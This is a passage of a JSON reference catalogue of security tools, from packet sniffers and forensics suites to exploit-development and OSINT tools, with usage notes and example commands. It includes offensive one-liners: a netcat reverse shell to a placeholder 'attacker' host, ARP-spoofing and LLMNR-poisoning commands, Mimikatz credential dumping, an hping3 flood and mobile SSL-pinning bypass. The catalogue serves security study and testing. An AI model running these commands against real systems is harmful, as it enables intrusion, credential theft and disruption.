                "Traffic pattern analysis"
              ],
              "key_features": [
                "Deep packet inspection",
                "Live capture and offline analysis",
                "Rich display filters",
                "VoIP analysis",
                "Protocol decryption"
              ],
              "common_filters": {
                "http_traffic": "http",
                "specific_ip": "ip.addr == 192.168.1.1",
                "tcp_port": "tcp.port == 80",
                "dns_queries": "dns.qry.name contains 'example'",
                "ssl_handshake": "ssl.handshake"
              },
              "skill_level": "Beginner to Advanced"
            },
            "tcpdump": {
              "name": "TCPDump",
              "description": "Command-line packet analyzer",
              "category": "Packet Capture",
              "when_to_use": [
                "Quick packet capture",
                "Remote system analysis",
                "Automated capture scripts",
                "Minimal resource usage"
              ],
              "common_commands": {
                "basic_capture": "tcpdump -i eth0",
                "write_file": "tcpdump -i eth0 -w capture.pcap",
                "filter_host": "tcpdump host 192.168.1.1",
                "filter_port": "tcpdump port 80",
                "verbose": "tcpdump -i eth0 -vvv",
                "packet_contents": "tcpdump -i eth0 -X"
              },
              "skill_level": "Intermediate"
            },
            "ettercap": {
              "name": "Ettercap",
              "description": "Comprehensive suite for MITM attacks",
              "category": "MITM Tool",
              "when_to_use": [
                "ARP poisoning",
                "MITM attacks",
                "Network sniffing",
                "Content filtering/modification"
              ],
              "attack_modes": {
                "arp_poisoning": "ARP cache poisoning",
                "icmp_redirect": "ICMP redirect",
                "port_stealing": "Switch port stealing",
                "dhcp_spoofing": "DHCP spoofing"
              },
              "common_commands": {
                "gui_mode": "ettercap -G",
                "text_mode": "ettercap -T -M arp:remote /192.168.1.1// /192.168.1.2//",
                "sniff_only": "ettercap -T -i eth0",
                "with_plugin": "ettercap -T -P dns_spoof"
              },
              "skill_level": "Intermediate to Advanced"
            },
            "bettercap": {
              "name": "Bettercap",
              "description": "Swiss army knife for network attacks",
              "category": "Network Attack Framework",
              "when_to_use": [
                "Network reconnaissance",
                "MITM attacks",
                "WiFi attacks",
                "Bluetooth LE attacks"
              ],
              "modules": [
                "net.recon",
                "net.sniff",
                "arp.spoof",
                "dns.spoof",
                "http.proxy",
                "https.proxy"
              ],
              "common_commands": {
                "interactive": "bettercap",
                "network_recon": "net.recon on",
                "arp_spoofing": "set arp.spoof.targets 192.168.1.0/24; arp.spoof on",
                "sniffing": "net.sniff on",
                "web_ui": "bettercap -caplet http-ui"
              },
              "skill_level": "Intermediate"
            },
            "responder": {
              "name": "Responder",
              "description": "LLMNR/NBT-NS/MDNS poisoner",
              "category": "Network Poisoner",
              "when_to_use": [
                "Capturing NTLMv2 hashes",
                "LLMNR poisoning",
                "NBT-NS poisoning",
                "WPAD attacks"
              ],
              "common_commands": {
                "basic_poisoning": "responder -I eth0",
                "analyze_mode": "responder -I eth0 -A",
                "force_auth": "responder -I eth0 -F",
                "wpad": "responder -I eth0 -w"
              },
              "captured_hashes": [
                "NTLMv1/v2",
                "Kerberos",
                "Basic HTTP/HTTPS",
                "MSSQL",
                "FTP",
                "IMAP"
              ],
              "skill_level": "Intermediate"
            }
          }
        },
        "post_exploitation": {
          "description": "Tools for maintaining access and post-exploitation",
          "tools": {
            "empire": {
              "name": "Empire/Starkiller",
              "description": "Post-exploitation framework",
              "category": "C2 Framework",
              "when_to_use": [
                "Post-exploitation",
                "Lateral movement",
                "Persistence",
                "Data exfiltration"
              ],
              "key_features": [
                "PowerShell agents",
                "Python agents",
                "Flexible communication",
                "Module library"
              ],
              "skill_level": "Advanced"
            },
            "mimikatz": {
              "name": "Mimikatz",
              "description": "Windows credential extraction",
              "category": "Credential Dumper",
              "when_to_use": [
                "Password extraction",
                "Hash dumping",
                "Kerberos ticket extraction",
                "Pass-the-hash attacks"
              ],
              "common_modules": {
                "sekurlsa::logonpasswords": "Dump passwords",
                "lsadump::sam": "Dump SAM database",
                "kerberos::list": "List Kerberos tickets",
                "token::elevate": "Token manipulation"
              },
              "skill_level": "Advanced"
            },
            "powersploit": {
              "name": "PowerSploit",
              "description": "PowerShell post-exploitation framework",
              "category": "PowerShell Framework",
              "when_to_use": [
                "Windows post-exploitation",
                "Privilege escalation",
                "Persistence",
                "AV evasion"
              ],
              "module_categories": [
                "CodeExecution",
                "ScriptModification",
                "Persistence",
                "Privesc",
                "Recon",
                "Exfiltration"
              ],
              "skill_level": "Advanced"
            },
            "evil-winrm": {
              "name": "Evil-WinRM",
              "description": "Windows Remote Management shell",
              "category": "Remote Shell",
              "when_to_use": [
                "Windows remote access",
                "Post-exploitation",
                "File transfer",
                "Service manipulation"
              ],
              "common_commands": {
                "connect": "evil-winrm -i target.com -u admin -p password",
                "hash_auth": "evil-winrm -i target.com -u admin -H HASH",
                "ssl": "evil-winrm -i target.com -u admin -p password -S",
                "upload": "upload local_file remote_path",
                "download": "download remote_file local_path"
              },
              "skill_level": "Intermediate"
            }
          }
        },
        "forensics": {
          "description": "Digital forensics and investigation tools",
          "tools": {
            "autopsy": {
              "name": "Autopsy",
              "description": "Digital forensics platform",
              "category": "Forensics Suite",
              "when_to_use": [
                "Disk image analysis",
                "File recovery",
                "Timeline analysis",
                "Registry analysis"
              ],
              "features": [
                "File system analysis",
                "Keyword searching",
                "Email analysis",
                "Registry analysis",
                "Timeline generation"
              ],
              "skill_level": "Intermediate to Advanced"
            },
            "volatility": {
              "name": "Volatility",
              "description": "Memory forensics framework",
              "category": "Memory Analysis",
              "when_to_use": [
                "RAM analysis",
                "Malware detection",
                "Process analysis",
                "Network connection recovery"
              ],
              "common_plugins": {
                "imageinfo": "Identify image profile",
                "pslist": "List running processes",
                "netscan": "Network connections",
                "malfind": "Find injected code",
                "dumpfiles": "Extract files from memory"
              },
              "common_commands": {
                "profile_detection": "volatility -f memory.dmp imageinfo",
                "process_list": "volatility -f memory.dmp --profile=Win7SP1x64 pslist",
                "network_connections": "volatility -f memory.dmp --profile=Win7SP1x64 netscan",
                "dump_process": "volatility -f memory.dmp --profile=Win7SP1x64 procdump -p PID -D output/"
              },
              "skill_level": "Advanced"
            },
            "binwalk": {
              "name": "Binwalk",
              "description": "Firmware analysis tool",
              "category": "Binary Analysis",
              "when_to_use": [
                "Firmware extraction",
                "Embedded file detection",
                "Binary analysis",
                "IoT device analysis"
              ],
              "common_commands": {
                "scan": "binwalk firmware.bin",
                "extract": "binwalk -e firmware.bin",
                "entropy": "binwalk -E firmware.bin",
                "signature": "binwalk -B firmware.bin"
              },
              "skill_level": "Intermediate"
            },
            "foremost": {
              "name": "Foremost",
              "description": "File recovery tool",
              "category": "Data Recovery",
              "when_to_use": [
                "Deleted file recovery",
                "Disk image analysis",
                "Data carving"
              ],
              "common_commands": {
                "basic_recovery": "foremost -i disk.img",
                "specific_types": "foremost -t jpg,pdf -i disk.img",
                "output_dir": "foremost -i disk.img -o output/"
              },
              "skill_level": "Beginner to Intermediate"
            }
          }
        },
        "reverse_engineering": {
          "description": "Tools for reverse engineering and malware analysis",
          "tools": {
            "ghidra": {
              "name": "Ghidra",
              "description": "Software reverse engineering framework",
              "category": "Reverse Engineering Suite",
              "when_to_use": [
                "Binary analysis",
                "Malware analysis",
                "Vulnerability research",
                "Firmware analysis"
              ],
              "features": [
                "Disassembly",
                "Decompilation",
                "Scripting support",
                "Multi-platform support"
              ],
              "skill_level": "Advanced"
            },
            "radare2": {
              "name": "Radare2",
              "description": "Reverse engineering framework",
              "category": "Binary Analysis",
              "when_to_use": [
                "Binary analysis",
                "Debugging",
                "Forensics",
                "Exploit development"
              ],
              "common_commands": {
                "analyze": "r2 -A binary",
                "disassemble": "pd 20",
                "strings": "iz",
                "functions": "afl",
                "visual_mode": "V"
              },
              "skill_level": "Advanced"
            },
            "gdb": {
              "name": "GDB",
              "description": "GNU Debugger",
              "category": "Debugger",
              "when_to_use": [
                "Binary debugging",
                "Exploit development",
                "Crash analysis",
                "Runtime analysis"
              ],
              "common_commands": {
                "run": "run",
                "breakpoint": "break main",
                "continue": "continue",
                "step": "step",
                "examine": "x/10x $esp",
                "disassemble": "disas main"
              },
              "enhanced_versions": {
                "gef": "GDB Enhanced Features",
                "peda": "Python Exploit Development Assistance",
                "pwndbg": "Exploit development and reverse engineering"
              },
              "skill_level": "Intermediate to Advanced"
            },
            "objdump": {
              "name": "Objdump",
              "description": "Display information from object files",
              "category": "Binary Analysis",
              "when_to_use": [
                "Quick binary inspection",
                "Disassembly",
                "Header analysis"
              ],
              "common_commands": {
                "disassemble": "objdump -d binary",
                "headers": "objdump -h binary",
                "symbols": "objdump -t binary",
                "strings": "objdump -s binary"
              },
              "skill_level": "Intermediate"
            }
          }
        },
        "reporting": {
          "description": "Tools for documentation and reporting",
          "tools": {
            "dradis": {
              "name": "Dradis",
              "description": "Collaboration and reporting framework",
              "category": "Reporting Platform",
              "when_to_use": [
                "Team collaboration",
                "Report generation",
                "Evidence management",
                "Vulnerability tracking"
              ],
              "features": [
                "Multi-user support",
                "Tool integration",
                "Custom templates",
                "Evidence attachments"
              ],
              "skill_level": "Beginner to Intermediate"
            },
            "faraday": {
              "name": "Faraday",
              "description": "Collaborative penetration test IDE",
              "category": "Pentest IDE",
              "when_to_use": [
                "Multi-user pentesting",
                "Real-time collaboration",
                "Vulnerability management",
                "Automated reporting"
              ],
              "integrations": [
                "Metasploit",
                "Nmap",
                "Burp Suite",
                "Nikto",
                "OpenVAS"
              ],
              "skill_level": "Intermediate"
            },
            "pipal": {
              "name": "PIPAL",
              "description": "Password analyzer",
              "category": "Password Analysis",
              "when_to_use": [
                "Password policy analysis",
                "Cracked password statistics",
                "Pattern identification"
              ],
              "common_commands": {
                "analyze": "pipal passwords.txt",
                "top_passwords": "pipal --top 50 passwords.txt",
                "output_report": "pipal passwords.txt > report.txt"
              },
              "skill_level": "Beginner"
            }
          }
        }
      }
    },
    "advanced_tools": {
      "advanced_hacking_tools.json": {
        "metadata": {
          "collection_date": "2025-08-23T15:13:22.831360",
          "description": "Advanced hacking tools from various sources",
          "categories": [
            "cloud_security_tools",
            "container_security",
            "mobile_security",
            "iot_embedded",
            "osint_tools",
            "exploit_development",
            "malware_analysis",
            "hardware_hacking",
            "web3_blockchain",
            "network_tools",
            "ai_security",
            "specialized_tools"
          ]
        },
        "cloud_security_tools": {
          "description": "Tools for cloud infrastructure testing",
          "tools": {
            "scout_suite": {
              "name": "Scout Suite",
              "description": "Multi-cloud security auditing tool",
              "platforms": [
                "AWS",
                "Azure",
                "GCP",
                "Alibaba Cloud",
                "Oracle Cloud"
              ],
              "when_to_use": [
                "Cloud security assessment",
                "Compliance checking",
                "Configuration review",
                "Multi-cloud auditing"
              ],
              "installation": "pip install scoutsuite",
              "usage": {
                "aws": "scout aws",
                "azure": "scout azure --cli",
                "gcp": "scout gcp --user-account",
                "report": "scout --report-dir ./report"
              },
              "features": [
                "Automated cloud auditing",
                "HTML report generation",
                "Risk scoring",
                "Best practice validation"
              ]
            },
            "pacu": {
              "name": "Pacu",
              "description": "AWS exploitation framework",
              "when_to_use": [
                "AWS penetration testing",
                "Post-compromise exploitation",
                "Privilege escalation in AWS",
                "Persistence establishment"
              ],
              "modules": [
                "iam__enum_permissions",
                "iam__privesc_scan",
                "ec2__enum",
                "lambda__enum",
                "s3__bucket_finder"
              ],
              "usage": {
                "start": "pacu",
                "list_modules": "list",
                "run_module": "run module_name",
                "set_keys": "set_keys"
              }
            },
            "cloudsploit": {
              "name": "CloudSploit",
              "description": "Cloud security configuration scanner",
              "platforms": [
                "AWS",
                "Azure",
                "GCP",
                "Oracle"
              ],
              "when_to_use": [
                "Security misconfiguration detection",
                "Compliance scanning",
                "Real-time monitoring",
                "CI/CD integration"
              ],
              "scan_categories": [
                "IAM policies",
                "Network security",
                "Storage permissions",
                "Encryption status",
                "Logging configuration"
              ]
            },
            "prowler": {
              "name": "Prowler",
              "description": "AWS security assessment tool",
              "when_to_use": [
                "CIS benchmark compliance",
                "AWS security best practices",
                "GDPR compliance checking",
                "HIPAA assessment"
              ],
              "usage": {
                "basic": "./prowler",
                "specific_check": "./prowler -c check_id",
                "group": "./prowler -g group_id",
                "json_output": "./prowler -M json"
              },
              "compliance_frameworks": [
                "CIS AWS Foundations",
                "GDPR",
                "HIPAA",
                "PCI-DSS",
                "ISO27001"
              ]
            },
            "cloud_enum": {
              "name": "Cloud_enum",
              "description": "Multi-cloud OSINT tool",
              "when_to_use": [
                "Cloud resource discovery",
                "S3 bucket enumeration",
                "Azure blob discovery",
                "Google Storage enumeration"
              ],
              "usage": "python cloud_enum.py -k keyword -k keyword2",
              "features": [
                "Mutation engine for permutations",
                "Multi-threading support",
                "DNS resolution",
                "Open storage detection"
              ]
            }
          }
        },
        "container_security": {
          "description": "Tools for Docker and Kubernetes security",
          "tools": {
            "trivy": {
              "name": "Trivy",
              "description": "Comprehensive vulnerability scanner for containers",
              "when_to_use": [
                "Container image scanning",
                "IaC security scanning",
                "Kubernetes manifest scanning",
                "CI/CD integration"
              ],
              "scan_types": [
                "OS packages",
                "Application dependencies",
                "Known CVEs",
                "IaC misconfigurations",
                "Secrets detection"
              ],
              "usage": {
                "image_scan": "trivy image nginx:latest",
                "filesystem": "trivy fs /path/to/project",
                "k8s_cluster": "trivy k8s --report summary cluster",
                "config_scan": "trivy config ."
              }
            },
            "docker_bench": {
              "name": "Docker Bench Security",
              "description": "Docker security configuration checker",
              "when_to_use": [
                "Docker host hardening",
                "CIS Docker benchmark",
                "Security compliance",
                "Configuration audit"
              ],
              "usage": "docker run -it --net host --pid host --cap-add audit_control -v /var/lib:/var/lib -v /var/run/docker.sock:/var/run/docker.sock docker/docker-bench-security"
            },
            "kubescape": {
              "name": "Kubescape",
              "description": "Kubernetes security platform",
              "when_to_use": [
                "K8s cluster scanning",
                "YAML manifest validation",
                "NSA/CISA compliance",
                "MITRE ATT&CK mapping"
              ],
              "usage": {
                "scan_cluster": "kubescape scan",
                "scan_yaml": "kubescape scan *.yaml",
                "framework": "kubescape scan framework nsa",
                "control": "kubescape scan control C-0005"
              }
            },
            "kube_hunter": {
              "name": "Kube-hunter",
              "description": "Kubernetes penetration testing tool",
              "when_to_use": [
                "K8s vulnerability hunting",
                "Cluster penetration testing",
                "Security assessment",
                "Attack simulation"
              ],
              "modes": {
                "remote": "Scan from outside cluster",
                "internal": "Pod-based scanning",
                "network": "CIDR range scanning"
              },
              "usage": "kube-hunter --remote some.node.com"
            },
            "falco": {
              "name": "Falco",
              "description": "Runtime security monitoring",
              "when_to_use": [
                "Runtime threat detection",
                "Behavioral monitoring",
                "Compliance monitoring",
                "Incident response"
              ],
              "detection_categories": [
                "Shell spawned in container",
                "Sensitive file access",
                "Network connections",
                "Privilege escalation",
                "Container escapes"
              ]
            }
          }
        },
        "mobile_security": {
          "description": "Mobile application security testing tools",
          "tools": {
            "mobsf": {
              "name": "Mobile Security Framework",
              "description": "Automated mobile app security testing",
              "platforms": [
                "Android",
                "iOS",
                "Windows"
              ],
              "when_to_use": [
                "Static analysis of APK/IPA",
                "Dynamic analysis",
                "Malware analysis",
                "Security assessment"
              ],
              "features": [
                "Source code analysis",
                "Permission analysis",
                "Binary analysis",
                "Network monitoring",
                "API testing"
              ],
              "usage": {
                "start": "python manage.py runserver",
                "api": "REST API for automation",
                "cli": "mobsf --file app.apk"
              }
            },
            "frida": {
              "name": "Frida",
              "description": "Dynamic instrumentation toolkit",
              "when_to_use": [
                "Runtime manipulation",
                "API hooking",
                "SSL pinning bypass",
                "Dynamic analysis",
                "Reverse engineering"
              ],
              "common_scripts": {
                "list_processes": "frida-ps -U",
                "hook_function": "frida -U -l script.js com.app.name",
                "trace": "frida-trace -U -i 'open*' com.app.name",
                "ssl_bypass": "frida --codeshare script -U -f com.app.name"
              },
              "platforms": [
                "Android",
                "iOS",
                "Windows",
                "macOS",
                "Linux"
              ]
            },
            "objection": {
              "name": "Objection",
              "description": "Runtime mobile exploration toolkit",
              "built_on": "Frida",
              "when_to_use": [
                "Runtime exploration",
                "Security testing",
                "Bypass implementations",
                "Data extraction"
              ],
              "commands": {
                "explore": "objection -g com.app.name explore",
                "ssl_pinning": "android sslpinning disable",
                "root_detection": "android root disable",
                "dump_keychain": "ios keychain dump"
              }
            },
            "apktool": {
              "name": "APKTool",
              "description": "Android app reverse engineering",
              "when_to_use": [
                "APK decompilation",
                "Resource extraction",
                "Manifest analysis",
                "Repackaging apps"
              ],
              "usage": {
                "decode": "apktool d app.apk",
                "build": "apktool b app_folder",
                "framework": "apktool if framework-res.apk"
              }
            },
            "jadx": {
              "name": "JADX",
              "description": "Dex to Java decompiler",
              "when_to_use": [
                "Android source code analysis",
                "Java decompilation",
                "Code review",
                "Vulnerability research"
              ],
              "usage": {
                "gui": "jadx-gui app.apk",
                "cli": "jadx -d output app.apk",
                "export_gradle": "jadx --export-gradle app.apk"
              }
            }
          }
        },
        "iot_embedded": {
          "description": "IoT and embedded device security tools",
          "tools": {
            "firmwalker": {
              "name": "Firmwalker",
              "description": "Firmware security analysis",
              "when_to_use": [
                "Firmware assessment",
                "Sensitive data search",
                "Backdoor detection",
                "Configuration review"
              ],
              "checks": [
                "Hard-coded credentials",
                "SSL certificates",
                "Private keys",
                "Configuration files",
                "Interesting binaries"
              ]
            },
            "firmware_analysis_toolkit": {
              "name": "FACT",
              "description": "Firmware Analysis and Comparison Tool",
              "when_to_use": [
                "Automated firmware analysis",
                "Vulnerability detection",
                "Binary analysis",
                "Comparison of versions"
              ],
              "features": [
                "Unpacking support",
                "File type identification",
                "Software detection",
                "Vulnerability matching",
                "Statistical analysis"
              ]
            },
            "routersploit": {
              "name": "RouterSploit",
              "description": "Router exploitation framework",
              "when_to_use": [
                "Router vulnerability testing",
                "Embedded device exploitation",
                "Credential testing",
                "Backdoor checking"
              ],
              "modules": {
                "scanners": "Vulnerability scanners",
                "exploits": "Exploitation modules",
                "creds": "Credential attacks",
                "payloads": "Various payloads"
              },
              "usage": {
                "start": "routersploit",
                "scan": "use scanners/autopwn",
                "exploit": "use exploits/router/vendor/cve"
              }
            },
            "killerbee": {
              "name": "KillerBee",
              "description": "IEEE 802.15.4/ZigBee security toolkit",
              "when_to_use": [
                "ZigBee network analysis",
                "Packet sniffing",
                "Replay attacks",
                "Crypto analysis"
              ],
              "tools": [
                "zbstumbler - Network discovery",
                "zbdump - Packet capture",
                "zbreplay - Packet replay",
                "zbassocflood - Flood attacks"
              ]
            },
            "attify_zigbee": {
              "name": "Attify Zigbee Framework",
              "description": "ZigBee penetration testing",
              "when_to_use": [
                "ZigBee exploitation",
                "Smart home testing",
                "IoT device assessment"
              ]
            }
          }
        },
        "osint_tools": {
          "description": "Advanced OSINT and reconnaissance tools",
          "tools": {
            "spiderfoot": {
              "name": "SpiderFoot",
              "description": "Automated OSINT collection",
              "when_to_use": [
                "Comprehensive OSINT gathering",
                "Attack surface mapping",
                "Threat intelligence",
                "Digital footprint analysis"
              ],
              "data_sources": "200+ data sources",
              "modules": [
                "DNS lookups",
                "Web crawling",
                "Social media",
                "Threat lists",
                "Data breaches"
              ],
              "usage": {
                "web_ui": "python sf.py -l 127.0.0.1:5001",
                "cli": "python sfcli.py -s domain.com -m all"
              }
            },
            "osintframework": {
              "name": "OSINT Framework",
              "description": "Collection of OSINT tools organized by category",
              "categories": [
                "Username search",
                "Email search",
                "Domain/IP research",
                "Image analysis",
                "Social media",
                "Phone numbers",
                "Documents/Files"
              ]
            },
            "phoneinfoga": {
              "name": "PhoneInfoga",
              "description": "Phone number OSINT tool",
              "when_to_use": [
                "Phone number reconnaissance",
                "Carrier identification",
                "Location approximation",
                "Social media correlation"
              ],
              "usage": {
                "scan": "phoneinfoga scan -n +1234567890",
                "serve": "phoneinfoga serve",
                "api": "REST API available"
              }
            },
            "sherlock": {
              "name": "Sherlock",
              "description": "Username enumeration across social networks",
              "when_to_use": [
                "Username OSINT",
                "Social media profiling",
                "Account enumeration",
                "Digital footprint"
              ],
              "usage": "python sherlock username",
              "platforms": "300+ websites"
            },
            "amass": {
              "name": "OWASP Amass",
              "description": "Network mapping and external asset discovery",
              "when_to_use": [
                "Subdomain enumeration",
                "Attack surface mapping",
                "DNS reconnaissance",
                "Network mapping"
              ],
              "techniques": [
                "DNS enumeration",
                "Web scraping",
                "Certificate transparency",
                "APIs integration",
                "Brute forcing"
              ],
              "usage": {
                "enum": "amass enum -d domain.com",
                "intel": "amass intel -d domain.com",
                "track": "amass track -d domain.com"
              }
            }
          }
        },
        "exploit_development": {
          "description": "Tools for exploit development and debugging",
          "tools": {
            "pwntools": {
              "name": "Pwntools",
              "description": "CTF framework and exploit development library",
              "language": "Python",
              "when_to_use": [
                "Exploit development",
                "CTF challenges",
                "Binary exploitation",
                "Shellcode generation"
              ],
              "features": [
                "Process interaction",
                "ROP chain generation",
                "Format string exploitation",
                "Shellcode generation",
                "ELF manipulation"
              ],
              "usage": {
                "process": "p = process('./binary')",
                "remote": "r = remote('host', port)",
                "rop": "rop = ROP(elf)",
                "shellcode": "shellcraft.sh()"
              }
            },
            "ropper": {
              "name": "Ropper",
              "description": "ROP gadget finder",
              "when_to_use": [
                "ROP chain construction",
                "Gadget searching",
                "Binary analysis",
                "Exploit development"
              ],
              "usage": {
                "search": "ropper --file binary --search 'pop rdi'",
                "chain": "ropper --file binary --chain execve",
                "all_gadgets": "ropper --file binary"
              }
            },
            "peda": {
              "name": "PEDA",
              "description": "Python Exploit Development Assistance for GDB",
              "when_to_use": [
                "Binary debugging",
                "Exploit development",
                "Crash analysis",
                "Pattern generation"
              ],
              "commands": [
                "pattern create",
                "pattern offset",
                "checksec",
                "searchmem",
                "ropgadget"
              ]
            },
            "angr": {
              "name": "angr",
              "description": "Binary analysis platform",
              "when_to_use": [
                "Symbolic execution",
                "Vulnerability discovery",
                "Binary analysis",
                "Exploit generation"
              ],
              "capabilities": [
                "Control flow analysis",
                "Data flow analysis",
                "Symbolic execution",
                "Constraint solving",
                "Exploit generation"
              ]
            },
            "afl_plus_plus": {
              "name": "AFL++",
              "description": "Advanced fuzzing framework",
              "when_to_use": [
                "Vulnerability discovery",
                "Fuzzing campaigns",
                "Code coverage analysis",
                "Crash analysis"
              ],
              "modes": [
                "Binary fuzzing",
                "Source code fuzzing",
                "Persistent mode",
                "Parallel fuzzing",
                "Custom mutators"
              ],
              "usage": {
                "compile": "afl-clang-fast target.c -o target",
                "fuzz": "afl-fuzz -i input -o output -- ./target",
                "whatsup": "afl-whatsup output"
              }
            }
          }
        },
        "malware_analysis": {
          "description": "Malware analysis and reverse engineering tools",
          "tools": {
            "cuckoo_sandbox": {
              "name": "Cuckoo Sandbox",
              "description": "Automated malware analysis system",
              "when_to_use": [
                "Dynamic malware analysis",
                "Behavioral analysis",
                "Network traffic analysis",
                "API call monitoring"
              ],
              "features": [
                "VM-based sandboxing",
                "API hooking",
                "Network analysis",
                "Memory analysis",
                "Screenshot capture"
              ]
            },
            "remnux": {
              "name": "REMnux",
              "description": "Linux distribution for malware analysis",
              "when_to_use": [
                "Malware reverse engineering",
                "Static analysis",
                "Dynamic analysis",
                "Memory forensics"
              ],
              "included_tools": [
                "IDA Free",
                "Ghidra",
                "radare2",
                "Volatility",
                "YARA"
              ]
            },
            "yara": {
              "name": "YARA",
              "description": "Pattern matching engine for malware",
              "when_to_use": [
                "Malware identification",
                "IOC detection",
                "Threat hunting",
                "Classification"
              ],
              "rule_example": {
                "structure": "rule malware_name { strings: $a = \"string\" condition: $a }",
                "scan": "yara rules.yar target_file"
              }
            },
            "pestudio": {
              "name": "PEStudio",
              "description": "PE file static analysis",
              "platform": "Windows",
              "when_to_use": [
                "PE file analysis",
                "Initial triage",
                "Static analysis",
                "Indicator extraction"
              ],
              "features": [
                "Import/Export analysis",
                "String extraction",
                "Entropy analysis",
                "Digital signature check",
                "VirusTotal integration"
              ]
            },
            "cape_sandbox": {
              "name": "CAPE Sandbox",
              "description": "Malware configuration and payload extraction",
              "based_on": "Cuckoo Sandbox",
              "when_to_use": [
                "Config extraction",
                "Payload extraction",
                "Behavioral analysis",
                "Family detection"
              ],
              "advantages": [
                "Automated unpacking",
                "Config extraction",
                "YARA integration",
                "Family signatures"
              ]
            }
          }
        },
        "hardware_hacking": {
          "description": "Hardware security testing tools",
          "tools": {
            "bus_pirate": {
              "name": "Bus Pirate",
              "description": "Universal bus interface",
              "protocols": [
                "I2C",
                "SPI",
                "UART",
                "1-Wire",
                "JTAG"
              ],
              "when_to_use": [
                "Protocol analysis",
                "Chip communication",
                "Firmware extraction",
                "Hardware debugging"
              ],
              "common_uses": [
                "EEPROM dumping",
                "Flash chip reading",
                "UART console access",
                "JTAG debugging"
              ]
            },
            "hydrabus": {
              "name": "HydraBus",
              "description": "Multi-protocol hardware hacking tool",
              "protocols": [
                "UART",
                "I2C",
                "SPI",
                "CAN",
                "LIN",
                "1-Wire",
                "SWD"
              ],
              "when_to_use": [
                "Hardware pentesting",
                "Protocol fuzzing",
                "Chip-off analysis",
                "Embedded debugging"
              ]
            },
            "chipwhisperer": {
              "name": "ChipWhisperer",
              "description": "Side-channel analysis platform",
              "when_to_use": [
                "Power analysis attacks",
                "Glitch attacks",
                "Side-channel analysis",
                "Cryptographic attacks"
              ],
              "attack_types": [
                "Simple Power Analysis (SPA)",
                "Differential Power Analysis (DPA)",
                "Correlation Power Analysis (CPA)",
                "Voltage glitching",
                "Clock glitching"
              ]
            },
            "jtagulator": {
              "name": "JTAGulator",
              "description": "JTAG identification tool",
              "when_to_use": [
                "JTAG pin identification",
                "UART discovery",
                "Debug interface finding",
                "Boundary scan"
              ],
              "features": [
                "Automatic pin detection",
                "Voltage level detection",
                "IDCODE extraction",
                "Bypass mode"
              ]
            },
            "hackrf": {
              "name": "HackRF One",
              "description": "Software Defined Radio platform",
              "frequency_range": "1 MHz - 6 GHz",
              "when_to_use": [
                "RF analysis",
                "Signal capture",
                "Replay attacks",
                "Protocol reverse engineering"
              ],
              "applications": [
                "GSM sniffing",
                "GPS spoofing",
                "Garage door hacking",
                "Key fob analysis",
                "RFID/NFC research"
              ]
            }
          }
        },
        "web3_blockchain": {
          "description": "Blockchain and smart contract security tools",
          "tools": {
            "mythril": {
              "name": "Mythril",
              "description": "Security analysis tool for EVM bytecode",
              "when_to_use": [
                "Smart contract auditing",
                "Vulnerability detection",
                "Security analysis",
                "Bytecode analysis"
              ],
              "detects": [
                "Integer overflow/underflow",
                "Reentrancy",
                "Unprotected functions",
                "Timestamp dependence",
                "Gas limit issues"
              ],
              "usage": {
                "analyze": "myth analyze contract.sol",
                "bytecode": "myth analyze -c bytecode",
                "address": "myth analyze -a 0xaddress"
              }
            },
            "slither": {
              "name": "Slither",
              "description": "Static analysis framework for Solidity",
              "when_to_use": [
                "Code review",
                "Vulnerability detection",
                "Code optimization",
                "CI/CD integration"
              ],
              "detectors": [
                "High impact bugs",
                "Medium impact bugs",
                "Low impact issues",
                "Code optimization",
                "Informational findings"
              ],
              "usage": "slither contract.sol"
            },
            "echidna": {
              "name": "Echidna",
              "description": "Smart contract fuzzer",
              "when_to_use": [
                "Property testing",
                "Invariant testing",
                "Edge case discovery",
                "Security testing"
              ],
              "features": [
                "Property-based testing",
                "Assertion testing",
                "Custom predicates",
                "Coverage guidance"
              ]
            },
            "manticore": {
              "name": "Manticore",
              "description": "Symbolic execution tool",
              "platforms": [
                "EVM",
                "x86",
                "x86_64",
                "ARMv7"
              ],
              "when_to_use": [
                "Deep path exploration",
                "Input generation",
                "Vulnerability discovery",
                "Exploit generation"
              ]
            },
            "securify": {
              "name": "Securify",
              "description": "Security scanner for Ethereum smart contracts",
              "when_to_use": [
                "Automated auditing",
                "Pattern matching",
                "Compliance checking",
                "Best practice validation"
              ]
            }
          }
        },
        "network_tools": {
          "description": "Advanced network analysis and attack tools",
          "tools": {
            "scapy": {
              "name": "Scapy",
              "description": "Packet manipulation library",
              "language": "Python",
              "when_to_use": [
                "Custom packet crafting",
                "Protocol testing",
                "Network fuzzing",
                "Traffic analysis"
              ],
              "capabilities": [
                "Packet forging",
                "Packet sniffing",
                "Layer manipulation",
                "PCAP processing",
                "Network scanning"
              ],
              "usage": {
                "craft_packet": "packet = IP(dst='target')/TCP(dport=80)",
                "send": "send(packet)",
                "sniff": "sniff(filter='tcp', count=10)",
                "traceroute": "traceroute('target.com')"
              }
            },
            "netcat": {
              "name": "Netcat (nc)",
              "description": "Network utility for reading/writing network connections",
              "when_to_use": [
                "Port scanning",
                "Banner grabbing",
                "File transfer",
                "Reverse shells",
                "Network debugging"
              ],
              "common_uses": {
                "listener": "nc -lvnp 4444",
                "connect": "nc target 80",
                "transfer": "nc -l 1234 > file",
                "port_scan": "nc -zv target 1-1000",
                "reverse_shell": "nc -e /bin/sh attacker 4444"
              }
            },
            "hping3": {
              "name": "Hping3",
              "description": "Advanced packet crafting tool",
              "when_to_use": [
                "Firewall testing",
                "Port scanning",
                "DoS testing",
                "Traceroute",
                "OS fingerprinting"
              ],
              "features": [
                "TCP/UDP/ICMP/RAW-IP",
                "Traceroute mode",
                "Firewall testing",
                "Remote OS fingerprinting",
                "Fragmentation testing"
              ],
              "usage": {
                "syn_scan": "hping3 -S target -p 80",
                "flood": "hping3 --flood -S target",
                "traceroute": "hping3 -T -p 80 target"
              }
            },
            "mitmproxy": {
              "name": "mitmproxy",
              "description": "Interactive HTTPS proxy",
              "when_to_use": [
                "HTTPS interception",
                "API testing",
                "Traffic modification",
                "Mobile app analysis"
              ],
              "modes": {
                "mitmproxy": "Console interface",
                "mitmweb": "Web interface",
                "mitmdump": "Command-line"
              },
              "features": [
                "SSL/TLS interception",
                "Request/response modification",
                "Python scripting",
                "WebSocket support",
                "HTTP/2 support"
              ]
            },
            "zmap": {
              "name": "ZMap",
              "description": "Fast internet-wide scanner",
              "when_to_use": [
                "Internet-wide scanning",
                "Large network surveys",
                "Research scanning",
                "Service discovery"
              ],
              "features": [
                "Gigabit speed scanning",
                "Stateless scanning",
                "IPv6 support",
